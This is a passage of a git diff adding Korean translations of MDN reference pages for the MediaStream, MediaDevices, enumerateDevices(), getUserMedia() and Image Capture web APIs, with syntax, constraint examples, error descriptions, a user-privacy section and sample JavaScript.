+ <li>{{event("ended")}}</li>
+ <li>{{event("muted")}}</li>
+ <li>{{event("overconstrained")}}</li>
+ <li>{{event("removetrack")}}</li>
+ <li>{{event("started")}}</li>
+ <li>{{event("unmuted")}}</li>
+</ul>
+</div>
+
+<div class="hidden">
+<h2 id="안내서와_자습서">안내서와 자습서</h2>
+
+<p>하위 문서 하나라도 완료 후 hidden 해제</p>
+
+<p>아래의 문서에서 API는 이 API를 잘 사용 할 수 있도록 도와주고,원하는 업무를 어떻게 처리하는지에 대한 추가적인 가이드 및 정보를 제공합니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStream")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API" title="/en-US/docs/WebRTC">WebRTC</a></li>
+ <li>{{domxref("mediaDevices.getUserMedia()")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/enumeratedevices/index.html b/files/ko/web/api/mediadevices/enumeratedevices/index.html
new file mode 100644
index 0000000000..e49f88a6ba
--- /dev/null
+++ b/files/ko/web/api/mediadevices/enumeratedevices/index.html
@@ -0,0 +1,88 @@
+---
+title: MediaDevices.enumerateDevices()
+slug: Web/API/MediaDevices/enumerateDevices
+translation_of: Web/API/MediaDevices/enumerateDevices
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaDevices")}}의  <strong><code>enumerateDevices()</code></strong> 메서드는 사용(또는 접근)이 가능한 미디어 입력장치나 출력장치들의 리스트를 가져옵니다. 예를 들면 마이크, 카메라, 헤드셋 등의 미디어 입/출력 장치 리스트를 불러오는 것 이죠.</span> 이 메서드는 {{domxref("Promise")}}를 반환하는데, 이 Promise가 resolve되면 장치(device)정보가 들어있는 {{domxref("MediaDeviceInfo")}} 배열(array)을 확인할 수 있습니다.</p>
+
+<h2 id="Syntax_(구문)">Syntax (구문)</h2>
+
+<pre class="syntaxbox">var <em>enumeratorPromise</em> = navigator.mediaDevices.enumerateDevices();
+</pre>
+
+<h3 id="Return_value_(_반환값_)">Return value ( 반환값 )</h3>
+
+<p>반환받는 {{ domxref("Promise") }}는 모든 장치 리스트를 가져오는 것에 성공하면 {{domxref("MediaDeviceInfo")}}객체 배열(array)를 받습니다. 배열에 들어있는 객체들은 각각의 장치정보를 가지고 있습니다.</p>
+
+<p>장치 리스트를 가져오는 것이 실패하면, promise는 rejected처리 됩니다.</p>
+
+<h2 id="Example_(예제)"><strong>Example (예제)</strong></h2>
+
+<p><code>enumerateDevices()</code>을 사용하는 방법을 알아봅시다. 아래는 장치 종류와  <a href="/en-US/docs/Web/API/MediaDeviceInfo/deviceId">device IDs (장치 아이디)</a>를 반환하며, 레이블이 있을 경우 레이블도 보여주는 간단한 코드 입니다.</p>
+
+<pre class="brush: js">if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+ console.log("enumerateDevices()를 지원하지 않습니다.");
+ return;
+}
+
+// 카메라와 마이크 리스트
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+ devices.forEach(function(device) {
+ console.log(device.kind + ": " + device.label +
+ " id = " + device.deviceId);
+ });
+})
+.catch(function(err) {
+ console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<p>위 코드를 실행하면 아래와 같은 결과를 볼 수 있을 것입니다.:</p>
+
+<pre>videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<p>또는 하나 이상의 {{domxref("MediaStream")}}이 사용 가능하거나 접근(사용권한)이 가능할  경우:</p>
+
+<pre>videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediadevices-enumeratedevices', 'mediaDevices: enumerateDevices')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_(브라우저_호환)">Browser compatibility (브라우저 호환)</h2>
+
+
+
+<p>{{Compat("api.MediaDevices.enumerateDevices")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("navigator.mediaDevices.getUserMedia()")}}</li>
+ <li><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API" title="WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos" title="WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia()</code> for taking photos rather than video.</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/getusermedia/index.html b/files/ko/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..d3722b3dd1
--- /dev/null
+++ b/files/ko/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,296 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+tags:
+ - API
+ - Media
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaDevices
+ - Method
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaDevices")}} 인터페이스의 <code><strong>getUserMedia()</strong></code> 메서드는 사용자에게 미디어 입력 장치 사용 권한을 요청하며, 사용자가 수락하면 요청한 미디어 종류의 트랙을 포함한 {{domxref("MediaStream")}}을 반환합니다.</span> 스트림은 카메라, 비디오 녹화 장치, 스크린 공유 장치 등 하드웨어와 가장 비디오 소스가 생성하는 비디오 트랙과, 마이크, A/D 변환기 등 물리적과 가상 오디오 장치가 생성하는 오디오 스트림, 그리고 그 외의 다른 종류의 스트림을 포함할 수 있습니다.</p>
+
+<p>반환하는 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다. 사용자가 권한 요청을 거부했거나 일치하는 유형의 미디어를 사용할 수 없는 경우, 프로미스는 각각 <code>NonAllowedError</code>와 <code>NotFoundError</code>로 거부합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 사용자가 권한 요청에 대한 선택을 하지 않고 완전히 무시할 수도 있기 때문에, 프로미스 또한 이행도 거부도 하지 않을 수 있습니다.</p>
+</div>
+
+<p>보통, {{domxref("MediaDevices")}} 싱글톤 객체는 다음과 같이 {{domxref("navigator.mediaDevices")}}를 사용해 접근합니다.</p>
+
+<pre class="brush: js">async function getMedia(constraints) {
+ let stream = null;
+
+ try {
+ stream = await navigator.mediaDevices.getUserMedia(constraints);
+ /* 스트림 사용 */
+ } catch(err) {
+ /* 오류 처리 */
+ }
+}</pre>
+
+<p>프로미스를 직접 사용할 경우 다음과 같습니다.</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+ /* 스트림 사용 */
+})
+.catch(function(err) {
+ /* 오류 처리 */
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 현재 문서를 안전하게 불러온 경우가 아니라면 <code>navigator.mediaDevices</code>는 <code>undefined</code>이므로 <code>getUserMedia()</code>도 사용할 수 없습니다. {{anch("개인정보와 보안")}} 항목에서 <code>getUserMedia()</code>와 관련된 보안 문제를 자세히 살펴보세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>promise</em> = navigator.mediaDevices.getUserMedia(<em>constraints</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constraints</code></dt>
+ <dd>
+ <p>요청할 미디어 유형과 각각에 대한 요구사항을 지정하는 {{domxref("MediaStreamConstraints")}} 객체.</p>
+
+ <p><code>constraints</code> 매개변수는 두 개의 구성 요소, <code>video</code>와 <code>audio</code>를 가지는 객체로, 요청할 미디어 유형에 대해 설명합니다. 둘 중 적어도 하나는 지정해야 합니다. 브라우저가 주어진 유형과 제약을 만족하는 미디어 트랙을 하나도 찾을 수 없는 경우 프로미스는 <code>NotFoundError</code>와 함께 거부합니다.</p>
+
+ <p>다음은 특별한 요구사항 없이 오디오와 비디오 둘 다 요청하는 매개변수입니다.</p>
+
+ <pre class="brush: js">{ audio: true, video: true }</pre>
+
+ <p>미디어 타입에 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font> 가 지정된 경우 각 타입에 맞는 장치가 사용 준비된 상태이어야 하며, 만약 사용 준비가 안 된 상태에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">getUserMedia()</span></font> 를 호출하면 오류를 반환합니다.</p>
+
+ <p>constraints 매개변수에 세부사항을 지정하여 카메라와 마이크에 세부적인 요청을 할 수 있습니다. 아래의 코드는 비디오의 해상도를 1280x720로 지정하는 예제입니다.</p>
+
+ <pre class="brush: js">{
+ audio: true,
+ video: { width: 1280, height: 720 }
+}</pre>
+
+ <p id="successCallback">브라우저는 지정한 해상도의 비디오 트랙을 가져오기 위해 시도하지만, 어떤 이유로든 지정한 해상도의 트랙을 가져올 수 없다면 다른 해상도의 비디오 트랙을 반환합니다.</p>
+
+ <p>아래와 같이 <code>min</code>, <code>max</code> 키워드를 사용하여 최소 해상도를 1280x720으로 지정할 수도 있으며, <code>exact</code> (논리적으로 <code>min == max</code> 와 같음) 키워드를 사용하여 특정 해상도를 지정할 수도 있습니다.</p>
+
+ <pre class="brush: js">{
+ audio: true,
+ video: {
+ width: { min: 1280 },
+ height: { min: 720 }
+ }
+}</pre>
+
+ <p>만약 카메라에서 지원하는 해상도 중에서 1280x720해상도가 없거나 이 이상의 해상도 역시 없는 경우 promise는 rejected 상태로 <code>OverconstrainedError</code> 를 반환하며, 사용자에게 미디어 장치 사용 권한 요청을 하지 않습니다.</p>
+
+ <p><code>min</code>, <code>max</code> 키워드만 사용한 경우 최소, 최대 해상도를 지정할 수는 있지만, 브라우저는 최솟값을 기준으로 제공할 수 있는 해상도를 찾아 미디어 스트림을 반환합니다.  일반적으로 이러한 동작은 우리의 의도와 다릅니다. 그래서 <code>ideal</code> 키워드를 사용하여 이상적인 해상도를 지정할 수 있습니다.</p>
+
+ <p>아래의 코드를 논리적으로 해석하면 1024x776 - 1120x800 - 1350x1020 - 1920x1080 와 같이 지원하는 여러 해상도가 있으면 브라우저는 <code>ideal</code> 해상도와 가장 근사하는 1120x800 해상도를 미디어 장치에 요청 후 반환합니다.</p>
+
+ <pre class="brush: js">{
+ audio: true,
+ video: {
+ width: { min: 1024, ideal: 1280, max: 1920 },
+ height: { min: 776, ideal: 720, max: 1080 }
+ }
+}
+</pre>
+
+ <p>아래와 같이 최솟값 최댓값 지정 없이 <code>ideal</code> 해상도만 지정할 수도 있습니다.</p>
+
+ <pre class="brush: js">{
+ audio: true,
+ video: {
+ width: { ideal: 1280 },
+ height: { ideal: 720 }
+ }
+}</pre>
+
+ <p>모바일 장치의 전면 카메라를 요청하기 위한 코드:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p>모바일 장치의 후면 카메라를 요청하기 위한 코드:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요청한 미디어를 성공적으로 얻었다면 {{domxref("MediaStream")}} 을 수신하는 핸들러가 {{jsxref("Promise")}} 형태로 스트림을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>promise 이행이 실패하면 실패 처리 핸들러로 {{domxref("DOMException")}} 에러 객체가 전달됩니다. 발생 가능한 에러 종류:</p>
+
+<dl>
+ <dt><code>AbortError</code></dt>
+ <dd>사용자와 운영체제에서 하드웨어 장치 사용 권한을 부여받고 <code>NotReadableError</code> 에러를 발생시키는 하드웨어 문제가 발생하지 않았지만, 다른 프로그램에서 해당 장치를 사용 중인 경우 이 에러가 발생합니다.</dd>
+ <dt><code>NotAllowedError</code></dt>
+ <dd>사용자가 브라우저 설정을 통해 장치에 대한 접근권한을 차단하였거나 장치 사용 권한 요청에 거부한 경우 이 에러가 발생합니다. 이 외에도 어떤 식으로든 장치에 대한 접근을 차단하였다면 이 에러가 발생합니다.
+ <div class="note">이전 버전의 규격에서는 이 에러와 <code>SecurityError</code> 를 동일한 의미로 사용하였지만, 현재 버전에서는 다른 의미로 사용하므로 혼용하여선 안 됩니다.</div>
+ </dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd>constraints 매개변수 조건에 맞는 미디어 트랙이 없는 경우 이 에러가 발생합니다.</dd>
+ <dt><code>NotReadableError</code></dt>
+ <dd>사용자가 접근 권한을 부여했고 조건에 맞는 미디어 트랙도 있지만 어떤 이유로든 장치에 액세스 할 수 없어서 운영체제, 브라우저, 웹 페이지 레벨에서 하드웨어 에러가 발생하여 이 에러가 발생합니다.</dd>
+ <dt><code>OverconstrainedError</code></dt>
+ <dd>The specified constraints resulted in no candidate devices which met the criteria requested. The error is an object of type <code>OverconstrainedError</code>, and has a <code>constraint</code> property whose string value is the name of a constraint which was impossible to meet, and a <code>message</code> property containing a human-readable string explaining the problem.
+ <div class="note">Because this error can occur even when the user has not yet granted permission to use the underlying device, it can potentially be used as a fingerprinting surface.</div>
+ </dd>
+ <dt><code>SecurityError</code></dt>
+ <dd>User media support is disabled on the {{domxref("Document")}} on which <code>getUserMedia()</code> was called. The mechanism by which user media support is enabled and disabled is left up to the individual user agent.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>The list of constraints specified is empty, or has all constraints set to <code>false</code>.</dd>
+</dl>
+
+<h2 id="User_privacy">User privacy</h2>
+
+<p>As an API that may involve significant privacy concerns, <code>getUserMedia()</code> is held by the specification to very specific requirements for user notification and permission management. First, <code>getUserMedia()</code> must always get user permission before opening any media gathering input such as a webcam or microphone. Browsers may offer a once-per-domain permission feature, but they must ask at least the first time, and the user must specifically grant ongoing permission if they choose to do so.</p>
+
+<p>Of equal importance are the rules around notification. Browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may exist. They must also show an indicator that permission has been granted to use a device for input, even if the device is not actively recording at the moment.</p>
+
+<p>In Firefox, for example, the URL bar displays a pulsing red icon to indicate that recording is underway. The icon is gray if the permission is in place but recording is not currently underway. The device's physical light is used to indicate whether or not recording is currently active. If you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording you, without discarding the permission to resume using the camera once muting is over.</p>
+
+<h2 id="Examples"><strong>Example</strong>s</h2>
+
+<h3 id="Width_and_height">Width and height</h3>
+
+<p>This example gives a preference for camera resolution, and assigns the resulting {{domxref("MediaStream")}} object to a video element.</p>
+
+<pre>// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+ var video = document.querySelector('video');
+ video.srcObject = mediaStream;
+ video.onloadedmetadata = function(e) {
+ video.play();
+ };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+</pre>
+
+<h3 id="Using_the_new_API_in_older_browsers">Using the new API in older browsers</h3>
+
+<p>Here's an example of using <code>navigator.mediaDevices.getUserMedia()</code>, with a polyfill to cope with older browsers. Note that this polyfill does not correct for legacy differences in constraints syntax, which means constraints won't work well across browsers. It is recommended to use the <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill instead, which does handle constraints.</p>
+
+<pre class="brush: js">// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if (navigator.mediaDevices === undefined) {
+ navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if (navigator.mediaDevices.getUserMedia === undefined) {
+ navigator.mediaDevices.getUserMedia = function(constraints) {
+
+ // First get ahold of the legacy getUserMedia, if present
+ var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+ // Some browsers just don't implement it - return a rejected promise with an error
+ // to keep a consistent interface
+ if (!getUserMedia) {
+ return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+ }
+
+ // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+ return new Promise(function(resolve, reject) {
+ getUserMedia.call(navigator, constraints, resolve, reject);
+ });
+ }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+ var video = document.querySelector('video');
+ // Older browsers may not have srcObject
+ if ("srcObject" in video) {
+ video.srcObject = stream;
+ } else {
+ // Avoid using this in new browsers, as it is going away.
+ video.src = window.URL.createObjectURL(stream);
+ }
+ video.onloadedmetadata = function(e) {
+ video.play();
+ };
+})
+.catch(function(err) {
+ console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Frame_rate">Frame rate</h3>
+
+<p>Lower frame-rates may be desirable in some cases, like WebRTC transmissions with bandwidth restrictions.</p>
+
+<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Front_and_back_camera">Front and back camera</h3>
+
+<p>On mobile phones.</p>
+
+<pre class="brush: js">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Permissions">Permissions</h2>
+
+<p>To use <code>getUserMedia()</code> in an installable app (for example, a <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app</a>), you need to specify one or both of the following fields inside your manifest file:</p>
+
+<pre class="brush: js">"permissions": {
+ "audio-capture": {
+ "description": "Required to capture audio using getUserMedia()"
+ },
+ "video-capture": {
+ "description": "Required to capture video using getUserMedia()"
+ }
+}</pre>
+
+<p>See <a href="/en-US/Apps/Developing/App_permissions#audio-capture">permission: audio-capture</a> and <a href="/en-US/Apps/Developing/App_permissions#video-capture">permission: video-capture</a> for more information.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.MediaDevices.getUserMedia")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The older {{domxref("navigator.getUserMedia()")}} legacy API.</li>
+ <li>{{domxref("mediaDevices.enumerateDevices()")}}: Learn the types and number of devices the user has available.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API (Media Streams)</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking webcam photos</a>: A tutorial on using <code>getUserMedia()</code> to taking photos rather than video.</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/index.html b/files/ko/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..86f9133a5c
--- /dev/null
+++ b/files/ko/web/api/mediadevices/index.html
@@ -0,0 +1,122 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+ - API
+ - Interface
+ - Media
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaDevices
+ - Reference
+ - Screen Capture API
+ - WebRTC
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><strong><code>MediaDevices</code></strong> 인터페이스는 카메라, 마이크, 공유 화면 등 현재 연결된 미디어 입력 장치로의 접근 방법을 제공하는 인터페이스입니다. 다르게 말하자면, 미디어 데이터를 제공하는 모든 하드웨어로 접근할 수 있는 방법입니다.</span></p>
+
+<h2 id="속성">속성</h2>
+
+<p>부모 인터페이스인 {{domxref("EventTarget")}}의 속성을 상속합니다.</p>
+
+<h2 id="Handlers" name="Handlers">이벤트</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/MediaDevices/devicechange_event">devicechange</a></code></dt>
+ <dd>사용자 컴퓨터에 미디어 입출력 장치가 추가되거나 제거됐을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaDevices/ondevicechange">ondevicechange</a></code> 속성으로도 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모 인터페이스인 {{domxref("EventTarget")}}의 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.enumerateDevices", "enumerateDevices()") }}</dt>
+ <dd>시스템에서 사용 가능한 미디어 입출력 장치의 정보를 담은 배열을 가져옵니다.</dd>
+ <dt>{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}} 인터페이스가 지원하는 제약을 나타내는 {{domxref("MediaTrackSupportedConstraints")}} 호환 객체를 반환합니다.</dd>
+ <dd class="hidden">See {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} to learn more about constraints and how to use them.</dd>
+ <dt>{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}</dt>
+ <dd>{{domxref("MediaStream")}}으로 캡처해 공유나 녹화 용도로 사용할 화면 혹은 화면의 일부(창)를 선택하도록 사용자에게 요청합니다. <code>MediaStream</code>으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}</dt>
+ <dd>사용자에게 권한을 요청한 후, 시스템의 카메라와 오디오 각각 혹은 모두 활성화하여, 장치의 입력 데이터를 비디오/오디오 트랙으로 포함한 {{domxref("MediaStream")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+ audio: false,
+ video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+ var videoTracks = stream.getVideoTracks();
+ console.log('Got stream with constraints:', constraints);
+ console.log('Using video device: ' + videoTracks[0].label);
+ stream.onremovetrack = function() {
+ console.log('Stream ended');
+ };
+ window.stream = stream; // make variable available to browser console
+ video.srcObject = stream;
+})
+.catch(function(error) {
+ if (error.name === 'ConstraintNotSatisfiedError') {
+ errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+ constraints.video.width.exact + ' px is not supported by your device.');
+ } else if (error.name === 'PermissionDeniedError') {
+ errorMsg('Permissions have not been granted to use your camera and ' +
+ 'microphone, you need to allow the page access to your devices in ' +
+ 'order for the demo to work.');
+ }
+ errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+ errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+ if (typeof error !== 'undefined') {
+ console.error(error);
+ }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaDevices")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스가 속한 <a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} 메서드를 정의하는 <a href="/ko/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li>장치에 접근할 때 사용할 <code>MediaDevices</code> 객체의 참조를 반환하는 {{domxref("Navigator.mediaDevices")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastream_image_capture_api/index.html b/files/ko/web/api/mediastream_image_capture_api/index.html
new file mode 100644
index 0000000000..016486c12d
--- /dev/null
+++ b/files/ko/web/api/mediastream_image_capture_api/index.html
@@ -0,0 +1,100 @@
+---
+title: MediaStream Image Capture API
+slug: Web/API/MediaStream_Image_Capture_API
+tags:
+ - API
+ - MediaStream
+ - MediaStream Image Capture API
+ - Overview
+ - Reference
+ - 비디오
+ - 사진
+ - 이미지
+translation_of: Web/API/MediaStream_Image_Capture_API
+---
+<div>{{DefaultAPISidebar("Image Capture API")}}</div>
+
+<p class="summary"><strong>MediaStream Image Capture API</strong>는 촬영 장치를 사용해 이미지와 비디오를 캡처하기 위한 API입니다. 그러나 데이터 캡처 외에도 이미지 해상도, 적목 현상 감소 기능, 플래시 존재 유무와 현재 사용 여부 등 장치 사양에 대한 정보를 가져올 때에도 사용할 수 있습니다. 거꾸로, Image Capture API를 사용하면 현재 장치의 허용 범위 안에서 해당 기능을 조정할 수도 있습니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>이미지 또는 비디오 스트림을 가져오는 절차는 다음과 같습니다. 예제 코드는 <a href="https://googlechrome.github.io/samples/image-capture/">Chrome의 Image Capture 예제</a>에서 가져온 것입니다.</p>
+
+<p>우선, {{domxref("MediaDevices.getUserMedia()")}}를 사용해 장치를 가리키는 참조를 가져옵니다. 아래 코드는 단순히 사용 가능한 비디오 장치를 아무거나 요청하는 것이지만, <code>getUserMedia()</code> 메서드는더 상세한 장치 기능 요청도 허용합니다. 반환 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다.</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia({ video: true })
+ .then(mediaStream =&gt; {
+   // Do something with the stream.
+ })
+</pre>
+
+<p id="sect1">그 후, {{domxref("MediaStream.getVideoTracks()")}}를 호출해 미디어 스트림에서 시각적인 부분을 분리합니다. <code>getVideoTracks()</code>의 반환 값은 {{domxref("MediaStreamTrack")}} 객체의 배열로, 여기서는 사용해야 할 객체를 배열의 첫 번째 요소라고 가정합니다. 실제 사용 시에는 <code>MediaStreamTrack</code> 객체의 속성을 사용해 원하는 객체를 찾을 수 있습니다.</p>
+
+<pre class="brush: js">const track = mediaStream.getVideoTracks()[0];</pre>
+
+<p>이미지를 캡처하기 전에 우선 장치의 기능을 설정하고 싶을 것입니다. 다른 작업을 수행하기 전에, 트랙 객체의 {{domxref("MediaStreamTrack.applyConstraints","applyConstraints()")}} 메서드를 사용하면 됩니다.</p>
+
+<pre class="brush: js">let zoom = document.querySelector('#zoom');
+const capabilities = track.getCapabilities();
+// 확대 지원 여부 판별
+if(!capabilities.zoom) {
+ return;
+}
+track.applyConstraints({ advanced : [{ zoom: zoom.value }] });
+</pre>
+
+<p>마지막으로, <code>MediaStreamTrack</code> 객체를 {{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}} 생성자에 제공합니다. <code>MediaStream</code>은 여러 종류의 트랙을 담고 있으며 적절한 트랙을 가져올 때 사용할 수 있는 메서드를 소유하지만, <code>ImageCapture</code> 생성자는 {{domxref("MediaStreamTrack.kind")}}가 <code>"video"</code> 값이 아닌 경우 <code>NotSupportedError</code> {{domxref("DOMException")}}을 던집니다.</p>
+
+<pre class="brush: js">let imageCapture = new ImageCapture(track);
+</pre>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture")}}</dt>
+ <dd>촬영 장치를 참조하는 유효한 {{domxref("MediaStreamTrack")}}을 사용해 이미지를 캡처하기 위한 인터페이스입니다.</dd>
+ <dt>{{domxref("PhotoCapabilities")}}</dt>
+ <dd>장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. {{domxref("ImageCapture.getPhotoCapabilities()")}}를 호출해서 <code>PhotoCapabilities</code> 객체를 가져올 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="ImageCapture"><code>ImageCapture</code></h3>
+
